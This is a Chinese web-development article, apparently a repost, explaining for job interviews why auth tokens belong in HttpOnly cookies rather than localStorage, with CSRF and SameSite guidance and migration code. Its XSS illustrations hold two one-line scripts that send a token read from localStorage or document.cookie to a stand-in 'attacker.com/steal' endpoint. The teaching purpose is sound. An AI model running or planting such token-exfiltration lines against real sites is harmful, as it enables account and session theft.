当前位置: 首页 > news >正文

面试官最爱挖的坑:用户 Token 到底该存哪?

面试官最爱挖的坑:用户 Token 到底该存哪?

面试官问:“用户 token 应该存在哪?”

很多人脱口而出:localStorage。

这个回答不能说错,但远称不上好答案。

一个好答案,至少要说清三件事:

  • 有哪些常见存储方式,它们的优缺点是什么
  • 为什么大部分团队会从 localStorage 迁移到 HttpOnly Cookie
  • 实际项目里怎么落地、怎么权衡「安全 vs 成本」

这篇文章就从这三点展开,顺便帮你把这道高频面试题吃透。

三种存储方式,一张图看懂差异

前端存 token,主流就三种:

存储方式XSS 能读到吗CSRF 会自动带吗推荐程度
localStorage不会不推荐存敏感数据
普通 Cookie不推荐
HttpOnly Cookie不能推荐

localStorage:用得最多,但也最容易出事

大部分项目一开始都是这样写的,把 token 往 localStorage 一扔就完事了:

// 登录成功后localStorage.setItem('token',response.accessToken);// 请求时取出来consttoken=localStorage.getItem('token');fetch('/api/user',{headers:{Authorization:`Bearer${token}`}});

用起来确实方便,但有个致命问题:XSS 攻击可以直接读取。

localStorage 对 JavaScript 完全开放。只要页面有一个 XSS 漏洞,攻击者就能一行代码偷走 token:

// 攻击者注入的脚本fetch('https://attacker.com/steal?token='+localStorage.getItem('token'))

你可能会想:“我的代码没有 XSS 漏洞。”

现实是:XSS 漏洞太容易出现了——一个 innerHTML 没处理好,一个第三方脚本被污染,一个 URL 参数直接渲染……项目一大、接口一多,总有疏漏的时候。

普通 Cookie:XSS 能读,CSRF 还会自动带

有人会往 Cookie 上靠拢:“那我存 Cookie 里,是不是就更安全了?”

如果只是「普通 Cookie」,实际上比 localStorage 还糟糕:

// 设置普通 Cookiedocument.cookie=`token=${response.accessToken}; path=/`;// 攻击者同样能读到consttoken=document.cookie.split('token=')[1];fetch('https://attacker.com/steal?token='+token);

XSS 能读,CSRF 还会自动带上——两头不讨好。

HttpOnly Cookie:让 XSS 偷不走 Token

真正值得推荐的,是 HttpOnly Cookie。

它的核心优势只有一句话:JavaScript 读不到。

// 后端设置(Node.js 示例)res.cookie('access_token',token,{httpOnly:true,// JS 访问不到secure:true,// 只在TPS 发送sameSite:'lax',// 防 CSRFmaxAge:3600000// 1 小时过期});

设置了 httpOnly: true,前端 document.cookie 压根看不到这个 Cookie。XSS 攻击偷不走。

// 前端发请求,浏览器自动带上 Cookiefetch('/api/user',{credentials:'include'});// 攻击者的 XSS 脚本document.cookie// 看不到 httpOnly 的 Cookie,偷不走

HttpOnly Cookie 的代价:需要正面面对 CSRF

HttpOnly Cookie 解决了「XSS 偷 token」的问题,但引入了另一个必须正视的问题:CSRF。

因为 Cookie 会自动发送,攻击者可以诱导用户访问恶意页面,悄悄发起伪造请求:

用户 -> 银行网站
用户 -> 恶意网站

  1. 登录,获得 HttpOnly Cookie
  2. 访问恶意网站
  3. 页面包含隐藏表单
  4. 浏览器自动发送请求(带 Cookie)
  5. Cookie 有效,执行转账

SameSite 属性

最简单的一步,就是在设置 Cookie 时加上 sameSite:

res.cookie('access_token',token,{httpOnly:true,secure:true,sameSite:'lax'// 关键配置});

sameSite 有三个值:

  • strict:跨站请求完全不带 Cookie。最安全,但从外链点进来需要重新登录
  • lax:GET 导航可以带,POST 不带。大部分场景够用,Chrome 默认值
  • none:都带,但必须配合 secure: true

lax 能防住绝大部分 CSRF 攻击。如果业务场景更敏感(比如金融),可以再加 CSRF Token。

CSRF Token(更严格)

如果希望更严谨,可以在 sameSite 基础上,再加一层 CSRF Token 验证:

// 后端生成 Token,放到页面或接口返回constcsrfToken=crypto.randomUUID();res.cookie('csrf_token',csrfToken);// 这个不用 httpOnly,前端需要读// 前端请求时带上fetch('/api/transfer',{method:'POST',headers:{'X-CSRF-Token':document.cookie.match(/csrf_token=([^;]+)/)?.[1]},credentials:'include'});// 后端验证if(req.cookies.csrf_token!==req.headers['x-csrf-token']){returnres.status(403).send('CSRF token mismatch');}

攻击者能让浏览器自动带上 Cookie,但没法读取 Cookie 内容来构造请求头。

核心对比:为什么宁愿多做 CSRF,也要堵死 XSS

这是全篇最重要的一点,也是推荐 HttpOnly Cookie 的根本原因。

XSS 的攻击面太广:

  • 用户输入渲染(评论、搜索、URL 参数)
  • 第三方脚本(广告、统计、CDN)
  • 富文本编辑器
  • Markdown 渲染
  • JSON 数据直接插入 HTML

代码量大了,总有地方会疏漏。一个 innerHTML 忘了转义,第三方库有漏洞,攻击者就能注入脚本。

CSRF 防护相对简单、手段统一:

  • sameSite: lax 一行配置搞定大部分场景
  • 需要更严格就加 CSRF Token
  • 攻击面有限,主要是表单提交和链接跳转

两害相权取其轻——先把 XSS 能偷 token 这条路堵死,再去专心做好 CSRF 防护。

真落地要改什么:从 localStorage 迁移到 HttpOnly Cookie

后端改动

登录接口,从「返回 JSON 里的 token」改成「Set-Cookie」:

// 改造前app.post('/api/login',(req,res)=>{consttoken=generateToken(user);res.json({accessToken:token});});// 改造后app.post('/api/login',(req,res)=>{consttoken=generateToken(user);res.cookie('access_token',token,{httpOnly:true,secure:true,sameSite:'lax',maxAge:3600000});res.json({success:true});});

前端改动

前端请求时不再手动带 token,而是改成 credentials: ‘include’:

// 改造前fetch('/api/user',{headers:{Authorization:`Bearer${localStorage.getItem('token')}`}});// 改造后fetch('/api/user',{credentials:'include'});

如果用 axios,可以全局配置:

axios.defaults.withCredentials=true;

登出处理

登出时,后端清除 Cookie:

app.post('/api/logout',(req,res)=>{res.clearCookie('access_token');res.json({success:true});});

如果暂时做不到 HttpOnly Cookie,可以怎么降风险

有些项目历史包袱比较重,或者后端暂时不愿意改。短期内只能继续用 localStorage 的话,至少要做好这些补救措施:

  • 严格防 XSS
    • 用 textContent 代替 innerHTML
    • 用户输入必须转义
    • 配置 CSP 头
    • 富文本用 DOMPurify 过滤
  • Token 过期时间要短
    • Access Token 15 - 30 分钟过期
    • 配合 Refresh Token 机制
  • 敏感操作二次验证
    • 转账、改密码等操作,要求输入密码或短信验证
  • 监控异常行为
    • 同一账号多地登录告警
    • Token 使用频率异常告警

面试怎么答

简洁版(30 秒)

推荐 HttpOnly Cookie。因为 XSS 比 CSRF 难防——代码里一个 innerHTML 没处理好就可能有 XSS,而 CSRF 只要加个 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie,XSS 偷不走 token,只需要处理 CSRF 就行。

完整版(1 - 2 分钟)

Token 存储有三种常见方式:localStorage、普通 Cookie、HttpOnly Cookie。

localStorage 最大的问题是 XSS 能读取。JavaScript 对 localStorage 完全开放,攻击者注入一行脚本就能偷走 token。

普通 Cookie 更糟,XSS 能读,CSRF 还会自动发送。

推荐 HttpOnly Cookie,设置 httpOnly: true 后 JavaScript 读不到。虽然 Cookie 会自动发送导致 CSRF 风险,但 CSRF 比 XSS 容易防——加个 sameSite: lax 就能解决大部分场景。

所以权衡下来,HttpOnly Cookie 配合 SameSite 是更安全的方案。

当然,没有绝对安全的方案。即使用了 HttpOnly Cookie,XSS 攻击虽然偷不走 token,但还是可以利用当前会话发请求。最好的做法是纵深防御——HttpOnly Cookie + SameSite + CSP + 输入验证,多层防护叠加。

加分项(如果面试官追问)

  • 改造成本:需要前后端配合,登录接口改成 Set-Cookie 返回,前端请求加 credentials: include
  • 如果用 localStorage:Token 过期时间要短,敏感操作二次验证,严格防 XSS
  • 移动端场景:App 内置 WebView 用 HttpOnly Cookie 可能有兼容问题,需要具体评估

如果你觉得这篇文章有帮助,欢迎关注我的 GitHub,下面是我的一些开源项目:

Claude Code Skills(按需加载,意图自动识别,不浪费 token,介绍文章)

  • code-review-skill - 代码审查技能,覆盖 React 19、Vue 3、TypeScript、Rust 等约 9000 行规则(详细介绍)
  • 5-whys-skill - 5 Whys 根因分析,说"找根因"自动激活
  • first-principles-skill - 第一性原理思考,适合架构设计和技术选型

全栈项目(适合学习现代技术栈)

  • prompt-vault - Prompt 管理器,用的都是最新的技术栈,适合用来学习了解最新的前端全栈开发范式:Next.js 15 + React 19 + tRPC 11 + Supabase 全栈示例,clone 下来配个免费 Supabase 就能跑
  • chat_edit - 双模式 AI 应用(聊天+富文本编辑),Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB
http://www.jsqmd.com/news/99851/

相关文章:

  • windows查看端口号占用情况
  • “AI招聘 潮头之上”,2025NFuture 最佳雇主颁奖盛典上海站圆满落幕
  • 铜包铝加工的工厂TOP5权威推荐:合作案例多、售后保障佳的铜 - myqiye
  • 零基础搭建Qwen-Image+Gradio本地绘画WebUI
  • V1交友盲盒多级代理分佣可运营版源码分享-幽络源亲测
  • 腾讯混元发布AI音效生成框架HunyuanVideo-Foley
  • 2025年全球GEO优化行业头部企业全景盘点及发展洞察 - bykj8888
  • EmotiVoice:支持多音色与情感的开源TTS引擎
  • 大小仅 1KB!超级好用!计算无敌!
  • 使用PaddlePaddle进行中文NLP开发的完整流程(含Git下载与CUDA安装步骤)
  • ComfyUI入门到进阶:AI绘画节点工作流详解
  • Python安装Langchain-Chatchat全流程保姆级教程
  • FLUX.1-dev微调实战:从环境到生成全指南
  • LobeChat能否用于构建舆情监控系统?新闻情感分析实践
  • Java 8 Lambda表达式详解 - 实践
  • pythonstudy Day37
  • Stable Diffusion WebUI:DeepDanbooru动漫标签自动生成指南
  • Qwen3-32B推理优化:响应速度提升50%
  • CSS组件综合实战案例三个:小米侧边栏、五彩导航、列表菜单的样式与链接伪类hover交互
  • Linly-Talker结合RAG技术实现知识增强型虚拟客服系统
  • 2025北京雅思培训机构攻略:高分考生都在pick的5类优质选择 - 品牌测评鉴赏家
  • 开源5G基站硬件参数
  • Git Push大文件错误终极解决指南-解决 git push 8192 MiB 错误的方法
  • LobeChat能否接入Steam API?游戏玩家个性化助手
  • 第十六节_PySide6基本窗口控件深度补充_窗口绘图类(QPainter 类) 中篇
  • 谷歌浏览器插件打包和加载
  • AI搜索时代的GEO优化服务商选型指南 - bykj8888
  • KaLM-Embedding-V2.5:0.5B参数的轻量级嵌入革命
  • RocketMQ 消费者消费堆积问题:原因分析、排查步骤与解决方案
  • 一文读懂7大排班考勤系统的核心差异与适用场景